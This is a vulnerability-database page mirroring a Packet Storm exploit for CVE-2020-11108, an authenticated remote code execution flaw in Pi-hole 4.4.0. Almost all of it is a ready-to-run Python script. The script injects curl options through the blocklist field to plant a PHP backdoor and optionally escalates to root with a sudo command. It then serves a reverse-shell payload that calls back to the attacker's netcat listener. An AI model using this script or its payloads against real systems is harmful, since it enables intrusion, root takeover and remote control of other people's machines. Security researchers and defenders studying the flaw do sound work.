Lucene search
K

Pi-hole 4.4.0 Remote Code Execution

🗓️ 27 May 2020 00:00:00Reported by PhotubiasType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 418 Views

Pi-hole 4.4.0 Remote Code Execution (Authenticated

Related
Code
`# Exploit Title: Pi-hole 4.4.0 - Remote Code Execution (Authenticated)  
# Date: 2020-05-22  
# Exploit Author: Photubias  
# Vendor Advisory: [1] https://github.com/pi-hole/AdminLTE  
# Version: Pi-hole <=4.4.0 + Web <=4.3.3  
# Tested on: Pi-hole v4.4.0-g9e49077, Web v4.3.3,v4.3.2-1-g4f824be, FTL v5.0 (on Debian 10)  
# CVE: CVE-2020-11108  
  
#!/usr/bin/env python3  
'''  
Copyright 2020 Photubias(c)   
This program is free software: you can redistribute it and/or modify  
it under the terms of the GNU General Public License as published by  
the Free Software Foundation, either version 3 of the License, or  
(at your option) any later version.  
  
This program is distributed in the hope that it will be useful,  
but WITHOUT ANY WARRANTY; without even the implied warranty of  
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
GNU General Public License for more details.  
  
You should have received a copy of the GNU General Public License  
along with this program. If not, see <http://www.gnu.org/licenses/>.  
  
Based (and improved on): https://github.com/Frichetten/CVE-2020-11108-PoC/blob/master/cve-2020-11108-rce.py  
  
File name CVE-2020-11108.py  
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be  
  
## Vulnerable setup instructions (from clean Debian 10-Buster):  
> apt update && apt install -y curl  
> curl -sSL https://install.pi-hole.net | bash  
> pihole checkout web release/v4.3.3  
> cd /etc/.pihole/ && git checkout v4.4  
> pihole -r ## Select reconfigure  
  
This is a native implementation without requirements, written in Python 3.  
Works equally well on Windows as Linux (as MacOS, probably ;-)  
  
Features:  
* Does a reliable check before exploitation (not based on version numbers)  
* Performs normal RCE without Privilege Escalation (wich is more trust worthy)  
* Asks before running Root RCE (as this overwrites certain files)  
* Performs a cleanup in all cases (success / failure)  
'''  
  
import urllib.request, ssl, http.cookiejar, sys, string, random  
import socket, _thread, time  
  
## Default vars; change at will  
_sURL = '192.168.50.130'  
_sPASSWORD = '6DS4QtW5'  
_iTIMEOUT = 5  
_sLOCALIP = '192.168.50.1'  
_sFILENAME = 'fun2.php'  
_sLOCALNCPORT = '4444' ## Make sure to set up a listener on this port first  
  
## Ignore unsigned certs  
ssl._create_default_https_context = ssl._create_unverified_context  
  
## Keep track of cookies between requests  
cj = http.cookiejar.CookieJar()  
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))  
  
def randomString(iStringLength=8):  
sLetters = string.ascii_lowercase  
return ''.join(random.choice(sLetters) for i in range(iStringLength))  
  
def postData(sURL, lData, bEncode = True):  
try:  
if bEncode: oData = urllib.parse.urlencode(lData).encode()  
else: oData = str(lData).encode()  
oRequest = urllib.request.Request(url = sURL, data = oData)  
return oOpener.open(oRequest, timeout = _iTIMEOUT)  
except:  
print('----- ERROR, site down?')  
sys.exit(1)  
  
def getEndpoint():  
if not _sURL[:4].lower() == 'http': sURL = 'http://' + _sURL  
else: sURL = _sURL  
if not sURL[:-1] == '/': sURL += '/'  
if not '/admin' in sURL: sURL += 'admin'  
try:  
oRequest = urllib.request.Request(sURL)  
oResponse = oOpener.open(oRequest, timeout = _iTIMEOUT)  
except:  
print('[-] Error: ' + sURL + ' not responding')  
exit(1)  
if oResponse.code == 200:  
print('[+] Vulnerable URL is ' + sURL)  
return sURL  
else:  
print('[-] Error: ' + sURL + ' does not exist?')  
exit(1)  
  
def startListener(sPayload, iSockTimeout):  
## Listener must always be on port 80, does not work otherwise  
oSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print('[!] Binding to '+_sLOCALIP+':80')  
oSock.bind((_sLOCALIP,80))  
oSock.settimeout(iSockTimeout)  
oSock.listen()  
  
while True:  
try: oConn,sAddr= oSock.accept()  
except: break  
print('[+] Yes, we have an incoming connection from '+str(sAddr[0]))  
oConn.sendall(sPayload.encode())  
oConn.close()  
break  
oSock.close()  
print('[!] Closing Listener')  
  
def doLogin(sURL, sPassword):  
sPath = '/index.php?login'  
lData = {'pw':sPassword}  
oResponse = postData(sURL + sPath, lData)  
sResult = oResponse.read().decode(errors='ignore')  
if 'Wrong password' in sResult:  
print('Wrong password')  
sys.exit(1)  
return True  
  
def getToken(sURL):  
sPath = '/settings.php?tab=blocklists'  
oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)  
sResult = oResponse.read().decode(errors='ignore')  
if 'id=\'token\'' in sResult:  
return sResult.split('id=\'token\' hidden>')[1].split('<')[0]  
else:  
print('[-] Error in getting a token')  
sys.exit(1)  
  
def createBackdoor(sURL, sFilename):  
sToken = getToken(sURL)  
sPath = '/settings.php?tab=blocklists'  
lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o ' + sFilename + ' -d "', 'field':'adlists', 'token':sToken, 'submit':'save'}  
#lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o fun.php -d "', 'field':'adlists', 'token':sToken, 'submit':'saveupdate'}  
oResponse = postData(sURL + sPath, lData)  
if oResponse.code == 200:  
sResult = oResponse.read().decode(errors='ignore')  
arrBlocklists = sResult.split('target="_new"')  
sID = str(len(arrBlocklists)-2)  
print('[+] Creation success, ID is '+sID+'!')  
return sID  
else:  
return ''  
  
  
def doUpdate(sURL):  
sPath = '/scripts/pi-hole/php/gravity.sh.php'  
try:  
oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)  
if oResponse.code == 200: print('[+] Update succeeded.')  
return True  
except:  
print('[-] Error; callback failed, maybe a firewall issue?')  
return False  
  
def callExploit(sURL, sFilename = _sFILENAME):  
sPath = '/scripts/pi-hole/php/' + sFilename  
print('[+] Calling ' + sURL + sPath)  
try:  
oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)  
if oResponse.code == 200: print('[+] Calling exploit succeeded.')  
print(oResponse.read().decode(errors='ignore'))  
except:  
pass  
  
def removeEntry(sURL, sID):  
print('[+] Cleaning up now.')  
sToken = getToken(sURL)  
sPath = '/settings.php?tab=blocklists'  
lData = {'adlist-del-'+sID:'on', 'newuserlists':'', 'field':'adlists', 'token':sToken, 'submit':'save'}  
oResponse = postData(sURL + sPath, lData)  
if oResponse.code == 200:  
print('[+] Remove success')  
  
def main():  
global _sURL, _sPASSWORD, _iTIMEOUT, _sLOCALIP, _sFILENAME, _sLOCALNCPORT  
if len(sys.argv) == 1:  
print('[!] No arguments found: python3 CVE-2020-11108.py <dstIP> <srcIP> <PWD>')  
print(' Example: ./CVE-2020-11108.py 192.168.50.130 192.168.50.1 6DS4QtW5')  
print(' But for now, I will ask questions')  
sAnswer = input('[?] Please enter the IP address for Pi-Hole ([' + _sURL + ']): ')  
if not sAnswer == '': _sURL = sAnswer  
sAnswer = input('[?] Please enter the your (reachable) IP address to launch listeners ([' + _sLOCALIP + ']): ')  
if not sAnswer == '': _sLOCALIP = sAnswer  
sAnswer = input('[?] Please enter the password for Pi-Hole ([' + _sPASSWORD + ']): ')  
if not sAnswer == '': _sPASSWORD = sAnswer  
else:  
_sURL = sys.argv[1]  
_sLOCALIP = sys.argv[2]  
_sPASSWORD = sys.argv[3]  
  
## MAIN  
sURL = getEndpoint() ## Will also set the initial SessionID  
doLogin(sURL, _sPASSWORD)  
  
## Creating backdoor (1) ## the old 'fun.php'  
sFilename = randomString() + '.php'  
sID = createBackdoor(sURL, sFilename)  
  
## Launch first payload listener and send 200 OK  
_thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,))  
if doUpdate(sURL):  
print('[+] This system is vulnerable!')  
  
## Question Time  
sAnswer = input('Want to continue with exploitation? (Or just run cleanup)? [y/N]: ')  
if not sAnswer.lower() == 'y':  
removeEntry(sURL, sID)  
sys.exit(0)  
sAnswer = input('Want root access? (Breaks the application!!) [y/N]: ')  
if sAnswer.lower() == 'y': bRoot = True  
else: bRoot = False  
  
if bRoot:  
print('[!] Allright, going for the root shell')  
## Launch payload listener and send root shell  
_sPayload = '''<?php shell_exec("sudo pihole -a -t") ?>'''  
_thread.start_new_thread(startListener,(_sPayload,5,))  
doUpdate(sURL)  
  
## Creating backdoor (2), overwriting teleporter.php  
sID2 = createBackdoor(sURL, 'teleporter.php')  
  
## Launch payload listener for a new 200 OK  
_thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,))  
doUpdate(sURL)  
  
input('Ok, make sure to have a netcat listener on "' + _sLOCALIP + ':' + _sLOCALNCPORT + '" ("nc -lnvp ' + _sLOCALNCPORT + '") and press enter to continue...')  
  
## Launch shell payload listener:  
_sPayload = '''<?php  
shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")  
?>  
''' %(_sLOCALIP, _sLOCALNCPORT)  
#_sPayload = '''<?php system($_GET['cmd']); ?>''' ## this works perfectly, but the URL is authenticated  
_thread.start_new_thread(startListener,(_sPayload,5,))  
doUpdate(sURL)  
  
## Launching the payload, will create new PHP file  
callExploit(sURL, sFilename)  
  
## Remove entry again  
if bRoot: removeEntry(sURL, sID2)  
removeEntry(sURL, sID)  
  
if len(sys.argv) == 1: input('[+] All done, press enter to exit')  
  
if __name__ == "__main__":  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 May 2020 00:00Current
8.7High risk
Vulners AI Score8.7
EPSS0.78262
418